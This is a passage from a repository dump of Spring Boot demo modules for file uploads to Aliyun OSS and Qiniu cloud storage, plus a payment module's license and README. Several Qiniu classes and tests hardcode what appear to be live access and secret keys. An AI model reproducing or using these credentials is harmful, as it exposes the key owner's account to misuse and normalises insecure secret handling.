文件url\n            dto.setUrl(getFileUrl(fileName));\n            logger.info(\"文件上传成功 ===>\" + dto.getName());\n            return dto;\n        } catch (Exception e) {\n            e.printStackTrace();\n            return null;\n        }\n    }\n\n    /**\n     * 拼接文件url\n     *\n     * @param fileName 文件名称\n     * @return url\n     */\n    public static String getFileUrl(String fileName) {\n        return \"https://\" + BUCKET_NAME + \".\" + ENDPOINT + \"/\" + FOLDER + \"/\" + fileName;\n    }\n\n\n\n    /***************************以下setter用于配置注入***************************/\n\n    @Value(\"${config.aliyun_oss.endpoint}\")\n    public void setENDPOINT(String ENDPOINT) {\n        AliyunOSSClientUtil.ENDPOINT = ENDPOINT;\n    }\n\n    @Value(\"${config.aliyun_oss.access_key_id}\")\n    public void setAccessKeyId(String accessKeyId) {\n        ACCESS_KEY_ID = accessKeyId;\n    }\n\n    @Value(\"${config.aliyun_oss.access_key_secret}\")\n    public void setAccessKeySecret(String accessKeySecret) {\n        ACCESS_KEY_SECRET = accessKeySecret;\n    }\n\n    @Value(\"${config.aliyun_oss.bucket_name}\")\n    public void setBucketName(String bucketName) {\n        BUCKET_NAME = bucketName;\n    }\n\n    @Value(\"${config.aliyun_oss.folder}\")\n    public void setFOLDER(String FOLDER) {\n        AliyunOSSClientUtil.FOLDER = FOLDER;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_aliyun/src/main/java/com/doumuxie/utils/Md5Util.java",
    "content": "package com.doumuxie.utils;\n\nimport java.net.URLEncoder;\nimport java.security.MessageDigest;\n\npublic class Md5Util {\n    private static final String KEY_MD5 = \"MD5\";\n    /**\n     * 全局数组\n     */\n    private static final String[] strDigits = {\"0\", \"1\", \"2\", \"3\", \"4\", \"5\",\n            \"6\", \"7\", \"8\", \"9\", \"a\", \"b\", \"c\", \"d\", \"e\", \"f\"};\n\n    /**\n     * 返回形式为数字跟字符串\n     */\n    private static String byteToArrayString(byte bByte) {\n        int iRet = bByte;\n        if (iRet < 0) {\n            iRet += 256;\n        }\n        int iD1 = iRet / 16;\n        int iD2 = iRet % 16;\n        return strDigits[iD1] + strDigits[iD2];\n    }\n\n    /**\n     * 转换字节数组为16进制字串\n     */\n    private static String byteToString(byte[] bByte) {\n        StringBuffer sBuffer = new StringBuffer();\n        for (int i = 0; i < bByte.length; i++) {\n            sBuffer.append(byteToArrayString(bByte[i]));\n        }\n        return sBuffer.toString();\n    }\n\n    /**\n     * MD5加密\n     *\n     * @param strObj\n     * @return\n     * @throws Exception\n     */\n    public static String getMD5Code(String strObj) throws Exception {\n        MessageDigest md = MessageDigest.getInstance(KEY_MD5);\n        // md.digest() 该函数返回值为存放哈希值结果的byte数组\n        return byteToString(md.digest(strObj.getBytes()));\n    }\n\n    public static void main(String[] arge) throws Exception {\n        String result = Md5Util.getMD5Code(URLEncoder.encode(\"18156119872\"+\"liang\", \"utf-8\"));\n        result = Md5Util.getMD5Code(result);\n        result = Md5Util.getMD5Code(result);\n        result = Md5Util.getMD5Code(result);\n        result = Md5Util.getMD5Code(result);\n        System.out.println(result);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_aliyun/src/main/java/com/doumuxie/utils/ResultUtil.java",
    "content": "package com.doumuxie.utils;\n\npublic class ResultUtil {\n\n    private Boolean success;\n\n    private String msg;\n\n    private Object data;\n\n    public Boolean getSuccess() {\n        return success;\n    }\n\n    public void setSuccess(Boolean success) {\n        this.success = success;\n    }\n\n    public String getMsg() {\n        return msg;\n    }\n\n    public void setMsg(String msg) {\n        this.msg = msg;\n    }\n\n    public Object getData() {\n        return data;\n    }\n\n    public void setData(Object data) {\n        this.data = data;\n    }\n\n    public static ResultUtil success(){\n        ResultUtil resultUtil = new ResultUtil();\n        resultUtil.setSuccess(true);\n        return resultUtil;\n    }\n\n    public static ResultUtil success(Object data){\n        ResultUtil resultUtil = new ResultUtil();\n        resultUtil.setSuccess(true);\n        resultUtil.setData(data);\n        return resultUtil;\n    }\n\n    public static ResultUtil error(String msg){\n        ResultUtil resultUtil = new ResultUtil();\n        resultUtil.setSuccess(false);\n        resultUtil.setMsg(msg);\n        return resultUtil;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_aliyun/src/main/java/com/doumuxie/utils/UUIDUtil.java",
    "content": "package com.doumuxie.utils;\n\nimport java.util.UUID;\n\n/**\n * @author liangliang\n * @version 1.0\n * @date 2019/7/16 14:13\n * @description 生成UUID工具类\n **/\npublic class UUIDUtil {\n\n    /**\n     * 生成UUID\n     * @return\n     */\n    public static String getUUID(){\n        return UUID.randomUUID().toString().replaceAll(\"-\",\"\");\n    }\n\n    public static void main(String[] args) {\n        for (int i = 0; i < 5; i++) {\n\n        System.err.println(getUUID());\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_aliyun/src/main/resources/application-dev.yml",
    "content": "server:\n  port: 8080\n\n# 日志打印位置\nlogging:\n  file: /server/log/file-upload-${server.port}.log\n  level:\n    com.liang: INFO\n\n# 阿里云 oss 配置 替换为自己阿里云OSS的配置\nconfig:\n  aliyun_oss:\n    endpoint: oss-cn-XXXXXX.aliyuncs.com\n    access_key_id: LTAI4FcaACPBXXXXXXXXXXXX\n    access_key_secret: BzwfrfbtmT78w5I7wUXXXXXXXXXXXX\n    bucket_name: doumuxie\n    folder: default\n\n# 上传最大文件限制\nspring:\n  servlet:\n    multipart:\n      max-file-size: 10MB\n      max-request-size: 100MB\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_aliyun/src/main/resources/application.yml",
    "content": "spring:\n  profiles:\n    active: dev\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_aliyun/src/main/resources/public/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>Upload-test</title>\n</head>\n<body>\n<h1>Upload-test</h1>\n<form method=\"post\" action=\"/upload\" enctype=\"multipart/form-data\">\n    <input type=\"file\" name=\"file\"><br>\n    <input type=\"submit\" value=\"提交\">\n</form>\n</body>\n<script src=\"https://cdn.bootcss.com/jquery/3.4.1/jquery.js\"></script>\n<script>\n</script>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_qiniu/README.md",
    "content": "# qiniu-springboot-demo\nqiniu-springboot-demo\n本项目基于springboot整合了七牛云存储技术:\n1.里面七牛云的认证key都是笔者自己的;\n2.封装了两个工具类:\n  1).七牛云普通文件上传.\n  2).七牛云断点续传的文件上传.\n3.后期使用七牛云的话可以模仿这个项目中的两个工具类封装最新的七牛云api.\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_qiniu/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.1.5.RELEASE</version>\n        <relativePath/>\n    </parent>\n\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>springboot_oss_qiniu</artifactId>\n    <version>1.0</version>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <!--不传递依赖-->\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.qiniu</groupId>\n            <artifactId>qiniu-java-sdk</artifactId>\n            <version>[7.2.0, 7.2.99]</version>\n        </dependency>\n        <dependency>\n            <groupId>com.google.code.gson</groupId>\n            <artifactId>gson</artifactId>\n            <version>2.8.5</version>\n            <scope>compile</scope>\n        </dependency>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>4.12</version>\n        </dependency>\n    </dependencies>\n\n    <!--jdk8编译插件-->\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n    </properties>\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_qiniu/src/main/java/com/zhang/qiniuDemo/QiNiuYunApplication.java",
    "content": "package com.zhang.qiniuDemo;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * @author zhang\n * @version 1.0\n * @date 2020/4/14 13:08\n */\n@SpringBootApplication\npublic class QiNiuYunApplication {\n    public static void main(String[] args) {\n        SpringApplication.run(QiNiuYunApplication.class, args);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_qiniu/src/main/java/com/zhang/qiniuDemo/controller/QiNiuYunUrlController.java",
    "content": "package com.zhang.qiniuDemo.controller;\n\nimport com.zhang.qiniuDemo.utils.QiNiuYunDeBugUpload;\nimport com.zhang.qiniuDemo.utils.QiniuUploadUtil;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.multipart.MultipartFile;\n\n/**\n * @author zhang\n * @version 1.0\n * @date 2020/4/14 10:42\n */\n@RestController\n@RequestMapping(\"/dataUrl\")\npublic class QiNiuYunUrlController {\n\n    @PostMapping(\"/generalUpload\")\n    public String generalUpload(@RequestParam(\"file\") MultipartFile file) throws Exception {\n        String originalFilename = file.getOriginalFilename();\n        String imageName = new QiniuUploadUtil().upload(originalFilename, file.getBytes());\n        return imageName;\n    }\n\n    @PostMapping(\"/debugUpload\")\n    public String debugUpload(@RequestParam(\"file\") MultipartFile file) throws Exception {\n        String originalFilename = file.getOriginalFilename();\n        String[] split = originalFilename.replace(\".\",\"-\").split(\"-\");\n        String imageName = new QiNiuYunDeBugUpload().upload(split[0], file.getBytes());\n        return imageName;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_qiniu/src/main/java/com/zhang/qiniuDemo/utils/QiNiuYunDeBugUpload.java",
    "content": "package com.zhang.qiniuDemo.utils;\n\nimport com.google.gson.Gson;\nimport com.qiniu.common.QiniuException;\nimport com.qiniu.http.Response;\nimport com.qiniu.storage.Configuration;\nimport com.qiniu.storage.Region;\nimport com.qiniu.storage.UploadManager;\nimport com.qiniu.storage.model.DefaultPutRet;\nimport com.qiniu.storage.persistent.FileRecorder;\nimport com.qiniu.util.Auth;\n\nimport java.io.IOException;\nimport java.nio.file.Paths;\n\n/**\n * @author zhang\n * @version 1.0\n * @date 2020/4/14 13:11\n * <p>\n * 七牛云图片上传工具类(断点上传):即上传到一半程序突然停止运行,等下次再启动程序时就会接着上次的位置继续实现上传\n */\npublic class QiNiuYunDeBugUpload {\n\n    /**\n     * 七牛云网站中 自己账号的  accessKey\n     */\n    private static final String accessKey = \"Rc_feElMSmVM3iAVXgj9L3RZkYomB0Xe11D6QTMN\";\n\n    /**\n     * 七牛云网站中 自己账号的  secretKey\n     */\n    private static final String secretKey = \"ixRQ5YAqKn0eiPbTDflbnZ9MTdlRxgxhqbDqhOTv\";\n\n    /**\n     * 七牛云网站中 自己指定的 空间名\n     */\n    private static final String bucket = \"huanhuanxinxin\";\n\n    /**\n     * 外域连接前缀\n     */\n    private static final String prix = \"http://qen8knqje.bkt.clouddn.com/\";\n\n    private UploadManager manager;\n\n    public QiNiuYunDeBugUpload() {\n        //初始化基本配置\n        Configuration cfg = new Configuration(Region.region0());\n        //断点续传：\n        String localTempDir = Paths.get(System.getProperty(\"java.io.tmpdir\"), bucket).toString();\n        System.out.println(\"七牛云断点时上传的临时目录:\" + localTempDir);\n        //设置断点续传文件进度保存目录\n        FileRecorder fileRecorder = null;\n        try {\n            fileRecorder = new FileRecorder(localTempDir);\n\n            //创建上传管理器\n            manager = new UploadManager(cfg, fileRecorder);\n\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n\n    }\n\n    /**\n     * 上传的是由前端传过来的file.getBytes()\n     *\n     * @param imgName 七牛云中想要设置的文件名称\n     * @param bytes   前端传过来的file.getBytes()\n     * @return String 七牛云外域+文件名   使用这个字符串就可以在浏览器中直接访问图片\n     */\n    public String upload(String imgName, byte[] bytes) {\n        Auth auth = Auth.create(accessKey, secretKey);\n        String upToken = auth.uploadToken(bucket);\n        try {\n            //上传的是由前端传过来的file.getBytes()\n            //如果要传本地文件,这里就可以将bytes换成localfile,localfile指的是本地文件的路径\n            Response response = manager.put(bytes, imgName, upToken);\n            //解析上传成功的结果\n            DefaultPutRet putRet = new Gson().fromJson(response.bodyString(), DefaultPutRet.class);\n            //返回请求地址\n            return prix + putRet.key + \"?t=\" + System.currentTimeMillis();\n        } catch (QiniuException ex) {\n            Response r = ex.response;\n            System.err.println(r.toString());\n            try {\n                System.err.println(r.bodyString());\n            } catch (QiniuException ex2) {\n                //ignore\n            }\n        }\n\n        return null;\n    }\n\n\n    public String uploadLocalFile(String imgName, String localfile) {\n        Auth auth = Auth.create(accessKey, secretKey);\n        String upToken = auth.uploadToken(bucket);\n        try {\n            //上传的是由前端传过来的file.getBytes()\n            //如果要传本地文件,这里就可以将bytes换成localfile,localfile指的是本地文件的路径\n            Response response = manager.put(localfile, imgName, upToken);\n            //解析上传成功的结果\n            DefaultPutRet putRet = new Gson().fromJson(response.bodyString(), DefaultPutRet.class);\n            //返回请求地址\n            return prix + putRet.key + \"?t=\" + System.currentTimeMillis();\n        } catch (QiniuException ex) {\n            Response r = ex.response;\n            System.err.println(r.toString());\n            try {\n                System.err.println(r.bodyString());\n            } catch (QiniuException ex2) {\n                //ignore\n            }\n        }\n\n        return null;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_qiniu/src/main/java/com/zhang/qiniuDemo/utils/QiniuUploadUtil.java",
    "content": "package com.zhang.qiniuDemo.utils;\n\n\nimport com.google.gson.Gson;\nimport com.qiniu.http.Response;\nimport com.qiniu.storage.Configuration;\nimport com.qiniu.storage.Region;\nimport com.qiniu.storage.UploadManager;\nimport com.qiniu.storage.model.DefaultPutRet;\nimport com.qiniu.util.Auth;\n\n\n\n/**\n * @author zhang\n * @version 1.0\n * @date 2020/4/14 11:45\n * 七牛云图片上传工具类(普通)\n */\npublic class QiniuUploadUtil {\n\n    /**\n     * 七牛云网站中 自己账号的  accessKey\n     */\n    private static final String accessKey = \"Rc_feElMSmVM3iAVXgj9L3RZkYomB0Xe11D6QTMN\";\n\n    /**\n     * 七牛云网站中 自己账号的  secretKey\n     */\n    private static final String secretKey = \"ixRQ5YAqKn0eiPbTDflbnZ9MTdlRxgxhqbDqhOTv\";\n\n    /**\n     * 七牛云网站中 自己指定的 空间名\n     */\n    private static final String bucket = \"huanhuanxinxin\";\n\n    /**\n     * 外域连接前缀\n     */\n    private static final String prix = \"http://qen8knqje.bkt.clouddn.com/\";\n\n    private UploadManager manager;\n\n    public QiniuUploadUtil() {\n        //初始化基本配置\n        Configuration cfg = new Configuration(Region.region0());\n        //创建上传管理器\n        manager = new UploadManager(cfg);\n    }\n\n    //文件名 = key\n    //文件的byte数组\n    public String upload(String imgName , byte [] bytes) {\n        Auth auth = Auth.create(accessKey, secretKey);\n        //构造覆盖上传token\n        String upToken = auth.uploadToken(bucket,imgName);\n        try {\n            Response response = manager.put(bytes, imgName, upToken);\n            //解析上传成功的结果\n            DefaultPutRet putRet = new Gson().fromJson(response.bodyString(), DefaultPutRet.class);\n            //返回请求地址\n            return prix+putRet.key+\"?t=\"+System.currentTimeMillis();\n        } catch (Exception ex) {\n            ex.printStackTrace();\n        }\n        return null;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_qiniu/src/main/resources/application.yml",
    "content": "#tomcat端口\nserver:\n  port: 70\n#日志记录级别\nlogging:\n  level:\n    com.itheima: debug\n    org.springframework: info\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_qiniu/src/test/java/cn/itcast/qiniu/QiniuDemo.java",
    "content": "package cn.itcast.qiniu;\n\nimport com.google.gson.Gson;\nimport com.qiniu.common.QiniuException;\nimport com.qiniu.common.Zone;\nimport com.qiniu.http.Response;\nimport com.qiniu.storage.Configuration;\nimport com.qiniu.storage.Region;\nimport com.qiniu.storage.UploadManager;\nimport com.qiniu.storage.model.DefaultPutRet;\nimport com.qiniu.storage.persistent.FileRecorder;\nimport com.qiniu.util.Auth;\nimport com.zhang.qiniuDemo.utils.QiNiuYunDeBugUpload;\nimport org.junit.Test;\n\nimport java.io.IOException;\nimport java.nio.file.Paths;\n\npublic class QiniuDemo {\n\n    /**\n     * 将图片上传到七牛云服务\n     *      1.更新用户图片信息（用户id=key）\n     *      2.访问图片\n     *          存储空间分配的：http://q8rcl2kke.bkt.clouddn.com/自定义的图片名称\n     *          上传的文件名\n     *          更新图片之后：访问的时候，再请求连接添加上时间戳,因为七牛云用到了缓冲技术\n     *              eg:http://q8rcl2kke.bkt.clouddn.com/自定义的图片名称?t=2685\n     *\n     */\n    @Test\n    public void testUpload01() {\n        //构造一个带指定 Region 对象的配置类\n        Configuration cfg = new Configuration(Region.region0());\n//...其他参数参考类注释\n\n        UploadManager uploadManager = new UploadManager(cfg);\n//...生成上传凭证，然后准备上传\n        String accessKey = \"Rc_feElMSmVM3iAVXgj9L3RZkYomB0Xe11D6QTMN\";\n        String secretKey = \"ixRQ5YAqKn0eiPbTDflbnZ9MTdlRxgxhqbDqhOTv\";\n        String bucket = \"ihrm-zhang\";\n//如果是Windows情况下，格式是 D:\\\\qiniu\\\\test.png\n        String localFilePath = \"C:\\\\Users\\\\Administrator\\\\Desktop\\\\照片\\\\G44A6528.JPG\";\n//默认不指定key的情况下，以文件内容的hash值作为文件名\n        String key = \"1314\";\n\n        Auth auth = Auth.create(accessKey, secretKey);\n        //这里加入第二个参数key的话,就支持覆盖上传   如果不加key参数,就不支持覆盖上传,如果key,图片不同的话就会报错\n        //String upToken = auth.uploadToken(bucket,key);\n        String upToken = auth.uploadToken(bucket);\n        try {\n            Response response = uploadManager.put(localFilePath, key, upToken);\n            //解析上传成功的结果\n            DefaultPutRet putRet = new Gson().fromJson(response.bodyString(), DefaultPutRet.class);\n            System.out.println(putRet.key);\n            System.out.println(putRet.hash);\n        } catch (QiniuException ex) {\n            Response r = ex.response;\n            System.err.println(r.toString());\n            try {\n                System.err.println(r.bodyString());\n            } catch (QiniuException ex2) {\n                //ignore\n            }\n        }\n\n    }\n\n    //断点传本地文件测试\n    @Test\n    public void testUpload02() {\n        //构造一个带指定Zone对象的配置类\n        Configuration cfg = new Configuration(Zone.zone0());\n        //...其他参数参考类注释\n        //...生成上传凭证，然后准备上传\n        String accessKey = \"COuoDRVa7JLsuurzIvQSI_pEDceHDw3yGfJEmvwv\";\n        String secretKey = \"3RWpTjB5Jxg3QosUFr4mxbHXJ5JR2m6AHQqYsSlr\";\n        String bucket = \"ihrm-bucket\";\n        //如果是Windows情况下，格式是 D:\\\\qiniu\\\\test.png\n        String localFilePath = \"C:\\\\Users\\\\ThinkPad\\\\Desktop\\\\ihrm\\\\day9\\\\资源\\\\资源\\\\test.xlsx\";\n        //默认不指定key的情况下，以文件内容的hash值作为文件名\n        String key = \"testExcel\";\n        Auth auth = Auth.create(accessKey, secretKey);\n        String upToken = auth.uploadToken(bucket);\n\n        //断点续传：\n        String localTempDir = Paths.get(System.getProperty(\"java.io.tmpdir\"), bucket).toString();\n        System.out.println(localTempDir);\n        try {\n            //设置断点续传文件进度保存目录\n            FileRecorder fileRecorder = new FileRecorder(localTempDir);\n            UploadManager uploadManager = new UploadManager(cfg, fileRecorder);\n            try {\n                Response response = uploadManager.put(localFilePath, key, upToken);\n                //解析上传成功的结果\n                DefaultPutRet putRet = new Gson().fromJson(response.bodyString(), DefaultPutRet.class);\n                System.out.println(putRet.key);\n                System.out.println(putRet.hash);\n            } catch (QiniuException ex) {\n                Response r = ex.response;\n                System.err.println(r.toString());\n                try {\n                    System.err.println(r.bodyString());\n                } catch (QiniuException ex2) {\n                    //ignore\n                }\n            }\n        } catch (IOException ex) {\n            ex.printStackTrace();\n        }\n    }\n\n    //断点传本地文件工具类测试\n    @Test\n    public void testUpload03(){\n        String localFile =\n                \"D:\\\\BaiduNetdiskDownload\\\\JAVA\\\\softstudy\\\\26-传统行业SaaS解决方案\\\\09-图片上传及Jasper\\\\01-文件上传与PDF报表入门\\\\资源\\\\资源\\\\test.xlsx\";\n        String path = new QiNiuYunDeBugUpload().uploadLocalFile(\"aaa\", localFile);\n        System.out.println(path);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/LICENSE",
    "content": "Apache License\nVersion 2.0, January 2004\nhttp://www.apache.org/licenses/\n\nTERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n1. Definitions.\n\n\"License\" shall mean the terms and conditions for use, reproduction, and\ndistribution as defined by Sections 1 through 9 of this document.\n\n\"Licensor\" shall mean the copyright owner or entity authorized by the copyright\nowner that is granting the License.\n\n\"Legal Entity\" shall mean the union of the acting entity and all other entities\nthat control, are controlled by, or are under common control with that entity.\nFor the purposes of this definition, \"control\" means (i) the power, direct or\nindirect, to cause the direction or management of such entity, whether by\ncontract or otherwise, or (ii) ownership of fifty percent (50%) or more of the\noutstanding shares, or (iii) beneficial ownership of such entity.\n\n\"You\" (or \"Your\") shall mean an individual or Legal Entity exercising\npermissions granted by this License.\n\n\"Source\" form shall mean the preferred form for making modifications, including\nbut not limited to software source code, documentation source, and configuration\nfiles.\n\n\"Object\" form shall mean any form resulting from mechanical transformation or\ntranslation of a Source form, including but not limited to compiled object code,\ngenerated documentation, and conversions to other media types.\n\n\"Work\" shall mean the work of authorship, whether in Source or Object form, made\navailable under the License, as indicated by a copyright notice that is included\nin or attached to the work (an example is provided in the Appendix below).\n\n\"Derivative Works\" shall mean any work, whether in Source or Object form, that\nis based on (or derived from) the Work and for which the editorial revisions,\nannotations, elaborations, or other modifications represent, as a whole, an\noriginal work of authorship. For the purposes of this License, Derivative Works\nshall not include works that remain separable from, or merely link (or bind by\nname) to the interfaces of, the Work and Derivative Works thereof.\n\n\"Contribution\" shall mean any work of authorship, including the original version\nof the Work and any modifications or additions to that Work or Derivative Works\nthereof, that is intentionally submitted to Licensor for inclusion in the Work\nby the copyright owner or by an individual or Legal Entity authorized to submit\non behalf of the copyright owner. For the purposes of this definition,\n\"submitted\" means any form of electronic, verbal, or written communication sent\nto the Licensor or its representatives, including but not limited to\ncommunication on electronic mailing lists, source code control systems, and\nissue tracking systems that are managed by, or on behalf of, the Licensor for\nthe purpose of discussing and improving the Work, but excluding communication\nthat is conspicuously marked or otherwise designated in writing by the copyright\nowner as \"Not a Contribution.\"\n\n\"Contributor\" shall mean Licensor and any individual or Legal Entity on behalf\nof whom a Contribution has been received by Licensor and subsequently\nincorporated within the Work.\n\n2. Grant of Copyright License.\n\nSubject to the terms and conditions of this License, each Contributor hereby\ngrants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free,\nirrevocable copyright license to reproduce, prepare Derivative Works of,\npublicly display, publicly perform, sublicense, and distribute the Work and such\nDerivative Works in Source or Object form.\n\n3. Grant of Patent License.\n\nSubject to the terms and conditions of this License, each Contributor hereby\ngrants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free,\nirrevocable (except as stated in this section) patent license to make, have\nmade, use, offer to sell, sell, import, and otherwise transfer the Work, where\nsuch license applies only to those patent claims licensable by such Contributor\nthat are necessarily infringed by their Contribution(s) alone or by combination\nof their Contribution(s) with the Work to which such Contribution(s) was\nsubmitted. If You institute patent litigation against any entity (including a\ncross-claim or counterclaim in a lawsuit) alleging that the Work or a\nContribution incorporated within the Work constitutes direct or contributory\npatent infringement, then any patent licenses granted to You under this License\nfor that Work shall terminate as of the date such litigation is filed.\n\n4. Redistribution.\n\nYou may reproduce and distribute copies of the Work or Derivative Works thereof\nin any medium, with or without modifications, and in Source or Object form,\nprovided that You meet the following conditions:\n\nYou must give any other recipients of the Work or Derivative Works a copy of\nthis License; and\nYou must cause any modified files to carry prominent notices stating that You\nchanged the files; and\nYou must retain, in the Source form of any Derivative Works that You distribute,\nall copyright, patent, trademark, and attribution notices from the Source form\nof the Work, excluding those notices that do not pertain to any part of the\nDerivative Works; and\nIf the Work includes a \"NOTICE\" text file as part of its distribution, then any\nDerivative Works that You distribute must include a readable copy of the\nattribution notices contained within such NOTICE file, excluding those notices\nthat do not pertain to any part of the Derivative Works, in at least one of the\nfollowing places: within a NOTICE text file distributed as part of the\nDerivative Works; within the Source form or documentation, if provided along\nwith the Derivative Works; or, within a display generated by the Derivative\nWorks, if and wherever such third-party notices normally appear. The contents of\nthe NOTICE file are for informational purposes only and do not modify the\nLicense. You may add Your own attribution notices within Derivative Works that\nYou distribute, alongside or as an addendum to the NOTICE text from the Work,\nprovided that such additional attribution notices cannot be construed as\nmodifying the License.\nYou may add Your own copyright statement to Your modifications and may provide\nadditional or different license terms and conditions for use, reproduction, or\ndistribution of Your modifications, or for any such Derivative Works as a whole,\nprovided Your use, reproduction, and distribution of the Work otherwise complies\nwith the conditions stated in this License.\n\n5. Submission of Contributions.\n\nUnless You explicitly state otherwise, any Contribution intentionally submitted\nfor inclusion in the Work by You to the Licensor shall be under the terms and\nconditions of this License, without any additional terms or conditions.\nNotwithstanding the above, nothing herein shall supersede or modify the terms of\nany separate license agreement you may have executed with Licensor regarding\nsuch Contributions.\n\n6. Trademarks.\n\nThis License does not grant permission to use the trade names, trademarks,\nservice marks, or product names of the Licensor, except as required for\nreasonable and customary use in describing the origin of the Work and\nreproducing the content of the NOTICE file.\n\n7. Disclaimer of Warranty.\n\nUnless required by applicable law or agreed to in writing, Licensor provides the\nWork (and each Contributor provides its Contributions) on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied,\nincluding, without limitation, any warranties or conditions of TITLE,\nNON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are\nsolely responsible for determining the appropriateness of using or\nredistributing the Work and assume any risks associated with Your exercise of\npermissions under this License.\n\n8. Limitation of Liability.\n\nIn no event and under no legal theory, whether in tort (including negligence),\ncontract, or otherwise, unless required by applicable law (such as deliberate\nand grossly negligent acts) or agreed to in writing, shall any Contributor be\nliable to You for damages, including any direct, indirect, special, incidental,\nor consequential damages of any character arising as a result of this License or\nout of the use or inability to use the Work (including but not limited to\ndamages for loss of goodwill, work stoppage, computer failure or malfunction, or\nany and all other commercial damages or losses), even if such Contributor has\nbeen advised of the possibility of such damages.\n\n9. Accepting Warranty or Additional Liability.\n\nWhile redistributing the Work or Derivative Works thereof, You may choose to\noffer, and charge a fee for, acceptance of support, warranty, indemnity, or\nother liability obligations and/or rights consistent with this License. However,\nin accepting such obligations, You may act only on Your own behalf and on Your\nsole responsibility, not on behalf of any other Contributor, and only if You\nagree to indemnify, defend, and hold each Contributor harmless for any liability\nincurred by, or claims asserted against, such Contributor by reason of your\naccepting any such warranty or additional liability.\n\nEND OF TERMS AND CONDITIONS\n\nAPPENDIX: How to apply the Apache License to your work\n\nTo apply the Apache License to your work, attach the following boilerplate\nnotice, with the fields enclosed by brackets \"{}\" replaced with your own\nidentifying information. (Don't include the brackets!) The text should be\nenclosed in the appropriate comment syntax for the file format. We also\nrecommend that a file or class name and description of purpose be included on\nthe same \"printed page\" as the copyright notice for easier identification within\nthird-party archives.\n\n   Copyright 2018 caoxusheng\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License."
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/README.md",
    "content": "# springboot-pay\n集成：\n【1】支付宝\n 1.H5网页支付 2.扫码支付 3.PC网页支付\n\n【2】微信\n  1.js-sdk公众号支付\n  2.微信扫码支付\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/pom.xml",
